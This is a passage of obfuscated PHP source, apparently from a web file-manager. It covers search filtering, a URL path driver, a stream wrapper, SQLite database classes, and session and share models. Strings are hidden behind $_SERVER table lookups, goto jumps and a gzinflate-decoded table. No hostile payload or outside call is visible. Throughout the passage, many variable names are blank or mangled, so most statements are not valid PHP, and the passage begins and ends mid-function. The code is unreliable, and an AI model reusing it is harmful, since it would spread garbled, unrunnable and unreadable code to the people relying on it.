_listSearchFilter($¾, $) { $Մ =& $_SERVER[譃]; $ = $¾[$Մ[407]] == $Մ[89]; if (!strstr($¾[$Մ[517]], $Մ[50] . $[$Մ[494]] . $Մ[50])) { return !1; } if (isset($[$Մ[409]]) && $[$Մ[409]] != $Մ[1877]) { if ($[$Մ[409]] == $Մ[79] && !$) { return !1; } if ($[$Մ[409]] != $Մ[79] && $) { return !1; } if (!strstr($¾[$Մ[171]], $Մ[50] . $[$Մ[409]] . $Մ[50])) { return !1; } } if (isset($[$Մ[2076]]) && $[$Մ[2076]] < $¾[$Մ[80]]) { return !1; } if (isset($[$Մ[2077]]) && $[$Մ[2077]] > $¾[$Մ[80]]) { return !1; } if (isset($[$Մ[593]]) && $[$Մ[593]] != $¾[$Մ[450]]) { return !1; } return !0; } public function listSearchChildren($, $Ǜ = 5000) { $ī =& $_SERVER[譃]; $ = array(); $Ò = $this->sourceInfo($); $ = array($ī[517] => array($ī[382], $Ò[$ī[517]] . $Ò[$ī[399]] . $ī[544])); $娛 = $this->field($ī[80])->where($)->limit($Ǜ + 1)->select(); $Ɛ = is_array($娛) ? count($娛) : 0; if ($Ɛ > $Ǜ) { return $this->_listSearchChildrenNear($, $Ǜ); } $ = $this->field($ī[399])->where($)->select(); $ = array_to_keyvalue($, $ī[12], $ī[399]); return $; } private function _listSearchChildrenNear($Ͳ, $) { $ =& $_SERVER[譃]; $ = array(); $ﮖ = array($[494] => $Ͳ); $۵ = $this->field($[2078])->where($ﮖ)->select(); $ = array_to_keyvalue(array_filter_by_field($۵, $[407], $[89]), $[12], $[399]); $ = array_merge($, array_to_keyvalue($۵, $[12], $[399])); if (!$) { return $; } $ﮖ = array($[494] => array($[7], $)); $۵ = $this->field($[2078])->where($ﮖ)->limit($)->select(); $ = array_merge($, array_to_keyvalue($۵, $[12], $[399])); $ = array_slice($, 0, $); return $; } private function _listSearchBindPinyin($, &$, &$ܶ) { $踸 =& $_SERVER[譃]; if (!isset($[$踸[1916]]) || !$[$踸[1916]]) { return; } if (!Input::check($[$踸[1916]], $踸[317]) || strlen($[$踸[1916]]) < 2) { return; } $ό = "\114\105\106\124\x20\112\x4f\x49\116\x20{$this->tablePrefix}\151\x6f\x5f\163\157\165\162\x63\145\137\155\145\x74\141\x20\x6d\x65\164\141\x20\x6f\x6e\x20\163\157\165\x72\x63\145\56\163\157\x75\x72\143\145\x49\x44\x20\75\x20\x6d\x65\164\141\56\163\x6f\165\162\143\145\111\x44"; $ = array(); $ܶ = str_replace(array($踸[230], $踸[53], $踸[2079]), $踸[12], $ܶ); $ܶ = $踸[432] . str_replace($踸[50], $踸[433], $ܶ); $ = $[$踸[32]]; unset($[$踸[32]]); foreach ($ as $ => $ϧ) { $[$踸[432] . $] = $ϧ; } foreach ($ as $) { $[] = array($踸[437] => $, $踸[1000] => $踸[1920], array($踸[2080] => $, $踸[2081] => array($踸[7], array($踸[460], $踸[459])))); } $this->join($ό); $ = $; } private function _parseSearchWhere($͜) { $ =& $_SERVER[譃]; $Ã֯ = array(); if (isset($͜[$[759]]) && $͜[$[759]]) { $Ã֯[$[86]] = array($[2082], $͜[$[759]]); } if (isset($͜[$[492]]) && $͜[$[492]]) { $ = array($[2083], $͜[$[492]]); if ($Ã֯[$[86]]) { $Ã֯[$[86]] = array($Ã֯[$[86]], $, $[2084]); } else { $Ã֯[$[86]] = $; } } if (isset($͜[$[2076]]) && $͜[$[2076]] > 0) { $Ã֯[$[80]] = array($[2082], $͜[$[2076]]); } if (isset($͜[$[2077]]) && $͜[$[2077]]) { $ = array($[2083], $͜[$[2077]]); if ($Ã֯[$[80]]) { $Ã֯[$[80]] = array($Ã֯[$[80]], $, $[2084]); } else { $Ã֯[$[80]] = $; } } if (isset($͜[$[593]]) && $͜[$[593]]) { $Ã֯[] = array($[450] => $͜[$[593]], $[448] => $͜[$[593]], $[1000] => $[1920]); } if (isset($͜[$[409]]) && $͜[$[409]]) { $ = $͜[$[409]]; if ($ == $[79]) { $Ã֯[$[407]] = 1; } else { if ($ == $[2085]) { $Ã֯[$[407]] = 0; } else { if ($) { $ = is_array($) ? $ : explode($[50], $); $Ã֯[$[409]] = array($[415], $); $Ã֯[$[407]] = 0; } } } } $this->_parseSearchParent($͜, $Ã֯); if (isset($͜[$[1916]]) && trim($͜[$[1916]])) { $ = trim($͜[$[1916]]); $˗ = explode($[53], $); if (strlen($) > 2 && (substr($, 0, 1) == $[119] && substr($, -1) == $[119]) || substr($, 0, 1) == $[58] && substr($, -1) == $[58]) { $ = substr($, 1, -1); $˗ = array($); } $Ã֯[$[32]] = array(array($[543], $[1918] . $ . $[1918])); if (count($˗) > 1) { $Ã֯[$[32]] = array(); foreach ($˗ as $ק) { if (!trim($ק)) { continue; } $Ã֯[$[32]][] = array($[543], $[1918] . trim($ק) . $[1918]); } } } return $Ã֯; } private function _parseSearchParent($ӟ⯞, &$Ԃ) { $ =& $_SERVER[譃]; if (!isset($ӟ⯞[$[494]]) || !$ӟ⯞[$[494]]) { return; } $ْ = $this->pathInfo($ӟ⯞[$[494]]); $ĸ = $ْ[$[494]] . $[12] === $[194]; $ǖŧ = $ْ[$[408]] == $[511]; if ($ْ[$[528]] == $[529]) { $ = $this->sourceInfo($ӟ⯞[$[494]]); $ْ[$[517]] = $[$[517]]; } $Ԃ[$[583]] = array($[543], $ْ[$[517]] . $ӟ⯞[$[494]] . $[544]); $ǫ = isset($ӟ⯞[$[1782]]) && in_array($[511], $ӟ⯞[$[1782]]); if (!$ǫ || !$ǖŧ || !$ĸ || !$ْ[$[410]]) { return; } if (!AuthModel::authCheckRoot($ْ[$[410]][$[411]])) { return; } $ = $ْ[$[501]] . $[12]; if ($ == $[89]) { unset($Ԃ[$[583]]); $Ԃ[$[408]] = self::TYPE_GROUP; return; } $ޛ = Model($[518])->groupChildrenAll($); $ = count($ޛ); if ($ <= 1) { return; } $ʳ = array($[494] => 0, $[408] => self::TYPE_GROUP, $[501] => array($[7], $ޛ)); $ = $this->field($[2086])->where($ʳ)->limit($)->select(); $Ԃ[$[583]] = array(); foreach ($ as $) { $Ԃ[$[583]][] = array($[543], $[527] . $[$[399]] . $[544]); } $Ԃ[$[583]][] = $[1920]; } } goto c; bިʘƭ: $_SERVER[] = explode($_SERVER[譃][607], gzinflate(substr($_SERVER[譃][608], 10, -8))); $xoqamhvtei = $_SERVER[譃][609]; while (strlen($xoqamhvtei) < $_SERVER[譃][606]) { if (!$xoqamhvtei) { break; } $xoqamhvtei++; } goto Cя; D: define($_SERVER[譃][603], $_SERVER[譃][604]); $baflptzmhc = $_SERVER[譃][605]; while ($baflptzmhc < $_SERVER[譃][606]) { if ($baflptzmhc >= 0) { break; } $baflptzmhc++; } goto bިʘƭ; Aġ: class PathDriverUrl extends PathDriverBase { static $_cacheHeader = array(); public function __construct($߰ = false) { } public function exist($) { $ = $this->info($); return $[$_SERVER[譃][198]]; } public function isFile($̂) { $ = $this->info($̂); return $[$_SERVER[譃][198]]; } public function isFolder($ߦ) { return !1; } public function size($) { $ܿ = $this->info($); return $ܿ[$_SERVER[譃][80]]; } public function info($) { return $this->infoParse($); } public function infoAuth($ο) { return $this->infoParse($ο); } public function infoWithChildren($) { return $this->infoParse($); } public function infoFull($Ϥ) { return $this->infoParse($Ϥ); } private function infoParse($钳) { $Ү =& $_SERVER[譃]; $͢ = $this->header($钳); if (!$͢ || !$͢[$Ү[748]]) { return !1; } $ı = _get($͢, $Ү[336], 0); $ = array($Ү[32] => $͢[$Ү[32]], $Ү[78] => $钳, $Ү[33] => $Ү[196], $Ү[80] => intval($ı), $Ү[171] => get_path_ext($͢[$Ү[32]]), $Ү[1377] => $ı > 0 && $͢[$Ү[1500]], $Ү[1378] => !1); return $; } private function header($ķޛ) { $ =& $_SERVER[譃]; if (isset(self::$_cacheHeader[$ķޛ])) { return self::$_cacheHeader[$ķޛ]; } $ƪ = isset($GLOBALS[$[1501]]) ? $GLOBALS[$[1501]] : !1; $GLOBALS[$[1501]] = !0; self::$_cacheHeader[$ķޛ] = url_header($ķޛ); $GLOBALS[$[1501]] = $ƪ; return self::$_cacheHeader[$ķޛ]; } public function hashSimple($, $ = false) { $Ϩ =& $_SERVER[譃]; $ = $this->info($); if (!$ || !$[$Ϩ[198]]) { return !1; } $ğ = $[$Ϩ[80]]; $Ĭ = 200; $諂 = 50; if ($ğ <= $Ĭ * $諂) { return md5($this->fileSubstr($, 0, $ğ)) . $ğ; } $ҫ = intval($ğ / $諂); $̳ = $Ϩ[12]; $ɝҕ = timeFloat(); $ꇛ = 15; for ($ = 0; $ < $諂; $++) { if (timeFloat() - $ɝҕ > $ꇛ) { return !1; } $ = $this->fileSubstr($, $ҫ * $, $Ĭ); if (!$) { return !1; } $̳ .= $; } $̳ .= $this->fileSubstr($, $ğ - $Ĭ, $Ĭ); return md5($̳) . $ğ; } public function getContent($։ی) { return $this->fileSubstr($։ی); } public function fileSubstr($ː, $ = 0, $۬ۘ = -1) { $颋 =& $_SERVER[譃]; $ = $this->info($ː); if (!$ || !$[$颋[198]] && $[$颋[80]] > 1024 * 1024 * 10) { return !1; } if ($۬ۘ === -1) { $۬ۘ = $[$颋[80]]; } if ($۬ۘ == 0) { return $颋[12]; } $ = array($颋[1502] . $ . $颋[780] . ($ + $۬ۘ - 1)); $ۑ = url_request($ː, $颋[229], !1, $, !1, !1, 1); return $ۑ[$颋[1191]] ? $ۑ[$颋[1191]] : $颋[12]; } public function download($֤з, $ˢ) { Downloader::start($֤з, $ˢ); return $ˢ; } } class StreamWrapperIO { private $path; private $info; private $pose = 0; static $_fopenCache = array(); static $_chunkBuffer = array(); private $timeStart = 0; function stream_open($, $❩ = '') { $this->info = $this->info($); $this->timeStart = timeFloat(); $this->path = $this->info[$_SERVER[譃][78]]; $this->pathOpen = $; if (!$this->info) { return !1; } if (count(self::$_chunkBuffer) > 100) { self::$_chunkBuffer = null; self::$_chunkBuffer = array(); } if (!isset(self::$_chunkBuffer[$])) { self::$_chunkBuffer[$] = array(); } self::$_fopenCache[$this->pathOpen] = $this; return $this->info ? !0 : !1; } function stream_read($ݢ) { $ = $this->fileSubstr($this->pose, $ݢ); $this->pose += strlen($); return $; } public function stream_tell() { return $this->pose; } public function stream_seek($, $) { $ =& $_SERVER[譃]; if ($ == SEEK_SET) { $this->pose = $; } else { if ($ == SEEK_CUR) { $this->pose += $; } else { if ($ == SEEK_END) { $this->pose = $this->info[$[80]] + intval($); } } } if ($ < 0) { $this->pose = $this->info[$[80]] + $; } return !0; } public function stream_eof() { return $this->pose >= $this->info[$_SERVER[譃][80]]; } public function stream_close() { unset(self::$_fopenCache[$this->pathOpen]); return !0; } public function url_stat($߰, $) { $ =& $_SERVER[譃]; $Җ = $this->info($߰); return array($[1503] => 0, $[1504] => 0, $[16] => 32768 + 511, $[1505] => 0, $[1506] => 0, $[1507] => 0, $[1508] => 0, $[80] => $Җ[$[80]], $[1509] => $Җ[$[1376]], $[1465] => $Җ[$[86]], $[1464] => $Җ[$[197]], $[1510] => 0, $[1511] => 0); } static $fileInfo = array(); public function info($ػˋ) { $ނ = $_SERVER[譃][1512]; if (isset(self::$fileInfo[$ػˋ])) { return self::$fileInfo[$ػˋ]; } if (substr($ػˋ, 0, strlen($ނ)) != $ނ) { return !1; } self::$fileInfo[$ػˋ] = IO::info(substr($ػˋ, strlen($ނ))); return self::$fileInfo[$ػˋ]; } public static function read($, $˜ń, $ۃ) { if (!isset(self::$_fopenCache[$])) { $㓟ړ = new StreamWrapperIO(); $㓟ړ->stream_open($); self::$_fopenCache[$] = $㓟ړ; } $㓟ړ = self::$_fopenCache[$]; return $㓟ړ->fileSubstr($˜ń, $ۃ); } public static function _read($͏, $د, $) { $ݔ =& $_SERVER[譃]; $˽ʳ = fopen($͏, $ݔ[1380]); if (!$˽ʳ) { return $ݔ[12]; } $٨ = 8192; fseek($˽ʳ, $د, SEEK_SET); $ڀ = $ݔ[12]; $ = 0; while ($ < $) { $ɗ = min($٨, $ - $); $ڀ .= fread($˽ʳ, $ɗ); $ += $ɗ; } fclose($˽ʳ); return $ڀ; } public function fileSubstr($څ, $ł) { $تי =& $_SERVER[譃]; $ = $this->info[$تי[80]]; $八 = $څ; $㹛 = $ł; if ($څ < 0) { $څ = $ + $څ; } if ($ł === !1) { $ł = $ - $څ; } if ($څ + $ł > $) { $ł = $ - $څ; } if ($ł <= 0) { return $تי[12]; } if ($څ < 0 || $څ >= $ || $ł <= 0 || $ł > 1024 * 1024 * 10) { throw new Exception("\151\x6f\106\151\x6c\x65\x52\145\141\144\x20\x65\x72\x72\x6f\162\x21\40\x73\164\141\162\164\x3d{$څ}\x3b\x6c\145\x6e\147\x74\150\75{$ł}\x3b\x20\163\151\x7a\x65\75{$}\x3b"); } $ϝõ = 64 * 1024; $ =& self::$_chunkBuffer[$this->path]; if (!$) { $ = array(); } $ = 0; $֗ = 0; $ؑ = $تי[12]; foreach ($ as $ => $ؑ) { $ = intval($); $֗ = $ + strlen($ؑ); if ($څ >= $֗) { continue; } if ($څ >= $ && $څ + $ł <= $֗) { return substr($ؑ, $څ - $, $ł); } break; } if (count($) > 100 || timeFloat() - $this->timeStart > 2.0) { $this->log($تי[1513], $تי[1514] . count($) . "\73\x73\x74\141\162\164\75{$څ}\54\x6c\145\156\147\x74\x68\75{$ł}\x3b\160\x6f\x73\145\x3a{$}\176{$֗}"); throw new Exception($تי[1515]); } $նч = intval($څ / $ϝõ) * $ϝõ; $ﶵ = ceil(($څ + $ł) / $ϝõ) * $ϝõ - $նч; $ = IO::fileSubstr($this->path, $նч, $ﶵ); $[$նч . $تי[12]] = $; ksort($); $ = substr($, $څ - $նч, $ł); return $; } private function log($¯, $ΐ̋) { $ =& $_SERVER[譃]; $ʚ = timeFloat() - $this->timeStart; write_log(sprintf($[1516], $¯, $this->info[$[32]], $ʚ, $ΐ̋), $[1181]); } } class Message { function __construct() { } public function send($蠕̤ = '', $ⶻ = array(), $ = "\164\145\x78\x74") { $ =& $_SERVER[譃]; $˭յ = array($[33] => $[1517], $[753] => $蠕̤); if (in_array($, array($[1517], $[1518]))) { $˭յ[$[33]] = $; } $ⶻ = array($[511] => isset($ⶻ[$[511]]) ? $ⶻ[$[511]] : $[12], $[593] => isset($ⶻ[$[593]]) ? $ⶻ[$[593]] : $[12]); if (empty($蠕̤) || empty($ⶻ[$[511]]) && empty($ⶻ[$[593]])) { return !1; } $ = array($[1458] => $˭յ, $[1519] => $ⶻ); Hook::trigger($[1520], $); } } goto D䳂ª; E: class Controller extends ClassBaseCall { public $in; public $config; public $tpl; public $values; function __construct() { $ =& $_SERVER[譃]; global $in, $config; $this->config =& $config; $this->in =& $in; $this->values[$[6]] =& $config; $this->values[$[7]] =& $in; $this->tpl = TEMPLATE . MOD . $[8]; $this->_classObjectID = mt_rand(0, 10000); } public function loadClass($ĺ) { if (1 === func_num_args()) { $this->{$ĺ} = new $ĺ(); } else { $ = new ReflectionClass($ĺ); $ҁ = func_get_args(); array_shift($ҁ); $this->{$ĺ} = $->newInstanceArgs($ҁ); } return $this->{$ĺ}; } public function routeBind($؟, $Ϙ, $ = 3) { $ =& $_SERVER[譃]; $ = $this->in[$[9]]; $؟ = str_replace($[10], $[11], trim(trim($؟, $[8]), $[12])); if (!$؟ || count($) <= $) { return !1; } $ʦ = !0; $ = explode($[8], $؟); for ($ીӡ = 0; $ીӡ < count($); $ીӡ++) { if ($[$ીӡ] != $[$ + $ીӡ]) { $ʦ = !1; break; } } if (!$ʦ) { return; } call_user_func_array(array($this, $Ϙ), array()); } public function routeArgs($ = 3) { $ŗĢ = $this->in[$_SERVER[譃][9]]; if (count($ŗĢ) <= $) { return array(); } $ = array(); for ($⏙ = $; $⏙ < count($ŗĢ); $⏙ += 2) { $[$ŗĢ[$⏙]] = $ŗĢ[$⏙ + 1]; $this->in[$ŗĢ[$⏙]] = $ŗĢ[$⏙ + 1]; } return $; } protected function assign($, $) { $this->values[$] = $; } protected function display($) { ob_end_clean(); extract($this->values); require $this->tpl . $; } } class DbSqliteBase extends Db { public function __construct($ = '') { $߰ =& $_SERVER[譃]; if (!extension_loaded($߰[13])) { think_exception(think_lang($߰[14]) . $߰[15]); } if (!empty($)) { if (!isset($[$߰[16]])) { $[$߰[16]] = 438; } $this->config = $; if (empty($this->config[$߰[17]])) { $this->config[$߰[17]] = array(); } } } public function connect($ԉ = '', $͏ڧ = 0) { $ =& $_SERVER[譃]; if (!isset($this->linkID[$͏ڧ])) { if (empty($ԉ)) { $ԉ = $this->config; } $酯 = !empty($ԉ[$[17]][$[18]]) ? $ԉ[$[17]][$[18]] : $this->pconnect; $ѧ = $酯 ? $[19] : $[20]; $this->linkID[$͏ڧ] = $ѧ($ԉ[$[21]], $ԉ[$[16]]); if (!$this->linkID[$͏ڧ]) { think_exception(sqlite_error_string()); } $this->connected = !0; @sqlite_busy_timeout($this->linkID[$͏ڧ], 30000); if (1 != think_config($[22])) { unset($this->config); } } return $this->linkID[$͏ڧ]; } public function free() { $this->queryID = null; } public function query($ӳ) { $Ƙݭ =& $_SERVER[譃]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $ӳ; if ($this->queryID) { $this->free(); } think_action_status($Ƙݭ[23], 1); think_status($Ƙݭ[24]); $this->queryID = sqlite_query($this->_linkID, $ӳ); $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = sqlite_num_rows($this->queryID); $ = $this->getAll(); return $; } } public function execute($߈Ѧ) { $֣ =& $_SERVER[譃]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $߈Ѧ; if ($this->queryID) { $this->free(); } think_action_status($֣[25], 1); think_status($֣[24]); $ = sqlite_exec($this->_linkID, $߈Ѧ); $this->debug(); if (!1 === $) { $this->error(); return !1; } else { $this->numRows = sqlite_changes($this->_linkID); $this->lastInsID = sqlite_last_insert_rowid($this->_linkID); return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { sqlite_query($this->_linkID, $_SERVER[譃][26]); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ǧï = sqlite_query($this->_linkID, $_SERVER[譃][27]); if (!$ǧï) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } public function rollback() { if ($this->transTimes > 0) { $Ɛ = sqlite_query($this->_linkID, $_SERVER[譃][28]); if (!$Ɛ) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } private function getAll() { $ = array(); if ($this->numRows > 0) { for ($ = 0; $ < $this->numRows; $++) { $[$] = sqlite_fetch_array($this->queryID, SQLITE_ASSOC); } sqlite_seek($this->queryID, 0); } return $; } public function getFields($ɼ) { $ =& $_SERVER[譃]; $ǂү = $this->query($[29] . $ɼ . $[30]); $Ε = array(); if ($ǂү) { foreach ($ǂү as $ => $Ҷ) { $Ε[$Ҷ[$[31]]] = array($[32] => $Ҷ[$[31]], $[33] => $Ҷ[$[34]], $[35] => (bool) ($Ҷ[$[36]] === $[12]), $[37] => $Ҷ[$[38]], $[39] => strtolower($Ҷ[$[40]]) == $[41], $[42] => strtolower($Ҷ[$[43]]) == $[44]); } } return $Ε; } public function getTables($ = '') { $Ɯ =& $_SERVER[譃]; $ؐ = $this->query($Ɯ[45] . $Ɯ[46] . $Ɯ[47]); $ = array(); foreach ($ؐ as $º => $ۺ) { $[$º] = current($ۺ); } return $; } public function close() { if ($this->_linkID) { sqlite_close($this->_linkID); } $this->_linkID = null; } public function error() { $ѕ喧 =& $_SERVER[譃]; $ = sqlite_last_error($this->_linkID); $this->error = $ . $ѕ喧[4] . sqlite_error_string($); if ($ѕ喧[12] != $this->queryStr) { $this->error .= LNG($ѕ喧[48]) . $this->queryStr; } think_trace($this->error, $ѕ喧[12], $ѕ喧[49]); return $this->error; } public function escapeString($) { return sqlite_escape_string($); } public function parseLimit($ۯ) { $ =& $_SERVER[譃]; $ = $[12]; if (!empty($ۯ)) { $ۯ = explode($[50], $ۯ); if (count($ۯ) > 1) { $ .= $[51] . $ۯ[1] . $[52] . $ۯ[0] . $[53]; } else { $ .= $[51] . $ۯ[0] . $[53]; } } return $; } } class DbSqlite3Base extends Db { public function __construct($˺ = '') { $Л =& $_SERVER[譃]; if (!class_exists($Л[54])) { think_exception(think_lang($Л[14]) . $Л[55]); } if (!empty($˺)) { if (!isset($˺[$Л[16]])) { $˺[$Л[16]] = 438; } $this->config = $˺; if (empty($this->config[$Л[17]])) { $this->config[$Л[17]] = array(); } } } public function connect($ = '', $ = 0) { $× =& $_SERVER[譃]; if (!isset($this->linkID[$])) { if (empty($)) { $ = $this->config; } $this->linkID[$] = new SQLite3($[$×[21]]); if (!$this->linkID[$]) { think_exception($this->linkID[$]->lastErrorMsg()); } $this->connected = !0; @$this->linkID[$]->busyTimeout(30000); if (1 != think_config($×[22])) { unset($this->config); } } return $this->linkID[$]; } public function free() { $this->queryID = null; } public function query($ܤ) { $ϓ =& $_SERVER[譃]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $ܤ; if ($this->queryID) { $this->free(); } think_action_status($ϓ[23], 1); think_status($ϓ[24]); $this->queryID = $this->_linkID->query($ܤ); $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $ω = $this->getAll(); $this->numRows = count($ω); return $ω; } } public function execute($˒ѭ) { $쁽 =& $_SERVER[譃]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $˒ѭ; if ($this->queryID) { $this->free(); } think_action_status($쁽[25], 1); think_status($쁽[24]); $Ҿ = $this->_linkID->exec($˒ѭ); $this->debug(); if (!1 === $Ҿ) { $this->error(); return !1; } else { $this->numRows = $this->_linkID->changes(); $this->lastInsID = $this->_linkID->lastInsertRowID(); return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { $this->_linkID->query($_SERVER[譃][26]); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $л = $this->_linkID->query($_SERVER[譃][27]); if (!$л) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } public function rollback() { if ($this->transTimes > 0) { $ = $this->_linkID->query($_SERVER[譃][28]); if (!$) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } private function getAll() { $֔ = array(); while ($ = $this->queryID->fetchArray(SQLITE3_ASSOC)) { $֔[] = $; } $this->queryID->reset(); return $֔; } public function getFields($) { $㍘ܲ =& $_SERVER[譃]; $å = $this->query($㍘ܲ[29] . $ . $㍘ܲ[30]); $Ᾰذ = array(); if ($å) { foreach ($å as $ٻ => $) { $Ᾰذ[$[$㍘ܲ[32]]] = array($㍘ܲ[32] => $[$㍘ܲ[32]], $㍘ܲ[33] => $[$㍘ܲ[33]], $㍘ܲ[35] => (bool) ($[$㍘ܲ[35]] === $㍘ܲ[12]), $㍘ܲ[37] => $[$㍘ܲ[56]], $㍘ܲ[39] => (bool) $[$㍘ܲ[57]], $㍘ܲ[42] => (bool) $[$㍘ܲ[57]]); } } return $Ᾰذ; } public function getTables($ = '') { $ =& $_SERVER[譃]; $ = $this->query($[45] . $[46] . $[47]); $ܽ = array(); foreach ($ as $ǯ => $뎓) { $ܽ[$ǯ] = current($뎓); } return $ܽ; } public function close() { if ($this->_linkID) { $this->_linkID->close(); } $this->_linkID = null; } public function error() { $ā =& $_SERVER[譃]; $this->error = $this->_linkID->lastErrorMsg(); if ($ā[12] != $this->queryStr) { $this->error .= LNG($ā[48]) . $this->queryStr; } think_trace($this->error, $ā[12], $ā[49]); return $this->error; } public function escapeString($) { $ =& $_SERVER[譃]; if ($this->_linkID) { return $this->_linkID->escapeString($); } return str_ireplace($[58], $[59], $); } public function parseLimit($Ϭ) { $⎆ =& $_SERVER[譃]; $ = $⎆[12]; if (!empty($Ϭ)) { $Ϭ = explode($⎆[50], $Ϭ); if (count($Ϭ) > 1) { $ .= $⎆[51] . $Ϭ[1] . $⎆[52] . $Ϭ[0] . $⎆[53]; } else { $ .= $⎆[51] . $Ϭ[0] . $⎆[53]; } } return $; } } goto Fꥥ; fڑ: class SessionModel extends ModelBase { protected $tableName = "\163\171\x73\x74\x65\x6d\x5f\x73\145\163\163\x69\x6f\156"; public function get($؇) { $ߐ =& $_SERVER[譃]; $ = $this->where(array($ߐ[1955] => $؇))->find(); if (!is_array($)) { return !1; } return $[$ߐ[753]]; } public function set($밒, $Ћׂ, $ = 3600) { $ؿ =& $_SERVER[譃]; $𤋮 = array($ؿ[1955] => $밒, $ؿ[1861] => $Ћׂ, $ؿ[1956] => $ + time()); if (Session::get($ؿ[1957])) { $𤋮[$ؿ[1655]] = Session::get($ؿ[1957]); } else { $𤋮[$ؿ[1655]] = 0; } if ($this->get($밒)) { return $this->where(array($ؿ[1955] => $밒))->save($𤋮); } else { return $this->add($𤋮, array(), !0); } } public function remove($ݾد) { return $this->where(array($_SERVER[譃][1955] => $ݾد))->delete(); } public function clearTimeout() { return $this->where($_SERVER[譃][1958] . time())->delete(); } } class ShareModel extends ModelBase { protected $tableName = "\163\x68\141\162\x65"; protected $dataAuto = array(array("\x6d\x6f\x64\151\x66\171\x54\x69\155\x65", "\164\151\x6d\x65", "\x69\x6e\163\145\x72\x74\54\x75\x70\144\141\164\145", "\146\x75\156\x63\164\x69\157\x6e"), array("\x63\162\x65\141\x74\x65\124\151\x6d\145", "\x74\151\x6d\145", "\151\x6e\163\145\x72\164", "\146\165\x6e\x63\x74\x69\157\x6e"), array("\157\x70\164\x69\x6f\x6e\x73", '', "\151\x6e\x73\145\x72\164\54\x75\x70\144\141\164\x65\x2c\x73\145\154\145\x63\x74", "\152\x73\x6f\x6e")); private $fieldList = "\52"; protected function cacheFunctionAlias($) { $ =& $_SERVER[譃]; $刨 = isset($[0]) ? $[0] : !1; return array($[1959] => array(USER_ID, $[1960]), $[1902] => array($刨, $[1961])); } protected function listSimple() { $ = array($_SERVER[譃][1655] => USER_ID); $ = $this->field($this->fieldList)->where($)->select(); return $ ? $ : array(); } protected function getInfo($, $Ȩ = false) { $ҪŤ =& $_SERVER[譃]; if ($Ȩ) { return $this->_getShareInfo(array($ҪŤ[484] => $)); } $ = $this->cacheFunctionGet($ҪŤ[1904], $); return $; } public function getInfoByHash($) { return $this->_getShareInfo(array($_SERVER[譃][486] => $)); } public function getInfoByPath($) { $ =& $_SERVER[譃]; $ተ = array($[1655] => USER_ID, $[399] => $); return $this->_getShareInfo($ተ); } public function getInfoBySourcePath($) { $ȕת =& $_SERVER[譃]; $Θ = array($ȕת[1655] => USER_ID, $ȕת[1174] => $); return $this->_getShareInfo($Θ); } private function _getShareInfo($ú) { $ =& $_SERVER[譃]; $֪ = $this->where($ú)->find(); if (!$֪) { return !1; } $ú = array($[484] => $֪[$[484]]); $֬ = $[1962]; $ꃊ = Model($[595])->order($[396])->field($֬)->where($ú)->select(); if ($֪[$[399]] == $[194]) { $֪[$[87]] = IO::info($֪[$[1174]]); } else { $֪[$[87]] = Model($[1325])->pathInfo($֪[$[399]]); } $֪[$[1963]] = $ꃊ; return $֪; } protected function getInfoAuth($і) { $ =& $_SERVER[譃]; $䶒 = $this->getInfo($і); if ($䶒[$[1655]] == USER_ID) { $䶒[$[410]] = $䶒[$[87]][$[410]]; } else { $䶒[$[410]] = Model($[498])->authMake($䶒[$[1963]]); } return $䶒; } protected function listData($鮴 = null, $ = 300) { $ן =& $_SERVER[譃]; $ߙƖ = array(array($ן[489] => array($ן[1012], 0), $ן[491] => array($ן[1012], 0), $ן[1964] => $ן[1920])); if ($鮴 == $ן[1965]) { $ߙƖ = array($ן[489] => 1); } else { if ($鮴 == $ן[1159]) { $ߙƖ = array($ן[491] => 1); } } $ߙƖ[$ן[1655]] = USER_ID; $Ž = $this->where($ߙƖ)->selectPage($); return $Ž; } protected function listToMe($ܨ = 300) { $ =& $_SERVER[譃]; $呭 = Model($[1966])->userGroupParents(USER_ID); $Ƌ = array($[579] => SourceModel::TYPE_USER, $[501] => USER_ID); if ($呭) { $Ƌ = array(array($[579] => SourceModel::TYPE_USER, $[501] => USER_ID), array($[579] => SourceModel::TYPE_GROUP, $[501] => array($[7], $呭)), $[1964] => $[1920]); } $ = Model($[595])->where($Ƌ)->selectPage($ܨ); $ڏ = array_to_keyvalue_group($[$[368]], $[484]); if (!$ڏ) { return $; } $ = $[1967]; $Ƌ = array($[484] => array($[415], array_keys($ڏ)), $[1655] => array($[1014], $[194])); $ё = $this->field($)->where($Ƌ)->select(); foreach ($ё as $̓ => &$) { $[$[1963]] = $ڏ[$[$[484]]]; } unset($); $օ = array($[1968] => $ё, $[1969] => $[$[365]]); return $օ; } protected function shareAdd($ձ, $ã) { $ =& $_SERVER[譃]; $܌ = $this->_addShareData($ձ, $ã); if (!empty($ã[$[1970]])) { $this->_shareAuthSet($܌, $ã[$[1970]]); } $this->shareEventAdd($ձ, $ã, $[1162]); return $܌; } protected function shareAddSystem($, $鿻) { $ =& $_SERVER[譃]; $¹ݣ = $this->_addShareData($, $鿻, $[1274]); $this->_shareAuthSet($¹ݣ, $鿻[$[1970]]); return $¹ݣ; } private function shareEventAdd($, $͐, $ = "\x61\144\x64") { $ =& $_SERVER[譃]; if (!$ || $ == $[194]) { return; } if ($ == $[1162]) { if ($͐[$[489]] == $[89]) { Model($[563])->eventShare($, $[1971]); } if ($͐[$[491]] == $[89]) { Model($[563])->eventShare($, $[1972]); } return; } $˻ = $this->getInfoByPath($); $ = $[1973]; if ($˻[$[489]] == $[194] && $͐[$[489]] == $[89]) { $ = $[1971]; } if ($˻[$[489]] == $[89] && $͐[$[489]] == $[194]) { $ = $[1974]; } if ($˻[$[491]] == $[194] && $͐[$[491]] == $[89]) { $ = $[1972]; } if ($˻[$[491]] == $[89] 